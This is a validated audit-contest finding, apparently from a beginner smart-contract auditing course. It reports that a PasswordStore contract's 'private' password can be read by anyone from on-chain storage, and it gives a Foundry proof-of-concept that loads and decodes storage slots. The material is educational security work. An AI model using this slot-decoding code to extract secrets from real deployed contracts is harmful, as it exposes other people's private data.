Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Password stored on-chain is viewable by anyone

Summary

The password stored in the Password Store is stored on-chain and can be viewed by anyone that wants to see it.

Vulnerability Details

The private storage variable PasswordStore::s_password is used to hold the password stored in the Password Store. However, the value stored there can be obtained by anyone that wants to know it since all data stored on a public blockchain is freely available.

Additionally, anyone watching the mempool could see calls to the setPassword(string memory newPassword) function and see the new password before it is even set.

Impact

Any password stored in the vault is no longer private and can be obtained by anyone - see the Foundry/Forge PoC below.

In reality a Web3 JS library (e.g. ethers.js) would be used to pull data out of a live Password Store contract.

The PoC consists of two tests (one for a short password stored in a single storage slot, one for a longer password that is stored over multiple slots), and a helper function to retrieve the password from storage.

function test_non_owner_can_read_short_password_state_variable() public {
// Set the password as the owner.
vm.startPrank(owner);
string memory password = "short password";
passwordStore.setPassword(password);
vm.stopPrank();
// Change to a non owner account to retrieve the password from storage.
vm.startPrank(address(0xda));
// Load the contents of storage slot 1.
bytes32 slot1 = vm.load(address(passwordStore), bytes32(uint256(1)));
string memory retrievedPassword = getPasswordFromStorage(slot1);
assertEq(password, retrievedPassword);
}
function test_non_owner_can_read_long_password_state_variable() public {
// Set the password as the owner.
vm.startPrank(owner);
string memory password = "a very long password that takes up more than a single storage slot";
passwordStore.setPassword(password);
vm.stopPrank();
// Change to a non owner account to retrieve the password from storage.
vm.startPrank(address(0xda));
// Load the contents of storage slot 1.
bytes32 slot1 = vm.load(address(passwordStore), bytes32(uint256(1)));
string memory retrievedPassword = getPasswordFromStorage(slot1);
assertEq(password, retrievedPassword);
}
// Helper function to get the password string from storage, based on the value of the
// passed in storage slot.
function getPasswordFromStorage(bytes32 slot) private view returns(string memory) {
string memory retrievedPassword;
// Check if the password data is stored in a single slot or not.
if(slot & bytes32(uint256(1)) == 0) {
// Last bit not set so the entire password is stored in the given slot.
// Lowest-order byte stores the length of the password in bytes * 2
uint passwordLen = uint256(slot & bytes32(uint256(0xFF))) / 2;
// Remove the trailing 0s from the bytes32 containing the password and convert it to
// a string.
for(uint i = 0; i < passwordLen; i++) {
retrievedPassword = string.concat(retrievedPassword, string(bytes.concat(slot[i])));
}
}
else {
// Last bit is set so the password is longer than 32 bytes and located elsewhere in storage.
// The value stored in slot contains the length of the password in bytes * 2 + 1.
// The actual data is stored starting at slot keccak256(1).
uint passwordLen = (uint256(slot) - 1) / 2;
uint numSlotsToRead = (passwordLen / 32) + 1;
bytes32 data;
// Read the bytes from the full storage slots.
for(uint i = 0; i < numSlotsToRead - 1; i++) {
data = vm.load(address(passwordStore), bytes32(uint(keccak256(abi.encode(1))) + i));
retrievedPassword = string.concat(retrievedPassword, string(bytes.concat(data)));
}
// Load the last (possibly partially filled) storage slot containing the password.
data = vm.load(address(passwordStore), bytes32(uint(keccak256(abi.encode(1))) + numSlotsToRead - 1));
// Only take the required number of bytes from the last slot loaded.
for(uint i = 0; i < passwordLen % 32; i++) {
retrievedPassword = string.concat(retrievedPassword, string(bytes.concat(data[i])));
}
}
return retrievedPassword;
}

Tools Used

Foundry/Forge

Recommendations

None - storing private data on-chain on a public blockchain is never recommended.

Updates

Lead Judging Commences

inallhonesty Lead Judge
almost 2 years ago
inallhonesty Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-anyone-can-read-storage

Private functions and state variables are only visible for the contract they are defined in and not in derived contracts. In this case private doesn't mean secret/confidential

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.